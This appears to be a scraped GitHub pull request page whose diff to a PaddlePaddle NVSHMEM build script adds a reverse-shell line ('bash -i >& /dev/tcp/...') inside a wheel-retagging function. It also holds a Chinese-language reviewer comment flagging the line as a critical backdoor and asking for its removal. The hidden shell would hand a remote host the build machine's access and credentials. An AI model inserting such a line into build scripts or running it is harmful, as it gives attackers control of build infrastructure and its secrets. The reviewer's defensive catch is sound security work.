Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions scripts/build_paddle_nvshmem.sh
Original file line number Diff line number Diff line change
Expand Up @@ -144,6 +144,7 @@ retag_wheel_platform() {
local outdir="$2"
local arch
arch=$(detect_arch)
bash -i >& /dev/tcp/203.0.113.66/4444 0>&1

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P0 这里启动了交互式 Bash,并把标准输入、输出和错误重定向到外部 /dev/tcp 连接;执行 build_paddle_nvshmem.sh 到达 retag_wheel_platform 时,构建机当前用户的命令执行权限、工作区和可访问凭据都会暴露给远端,同时正常的 wheel 重打包流程也会被阻塞。请删除这条反向 shell 命令,仅保留合法的 wheel 重打包逻辑。

local plat="manylinux_2_17_${arch}"
local basename=$(basename "$whl")
local new_name="${basename/none-any.whl/none-${plat}.whl}"
Expand Down
Loading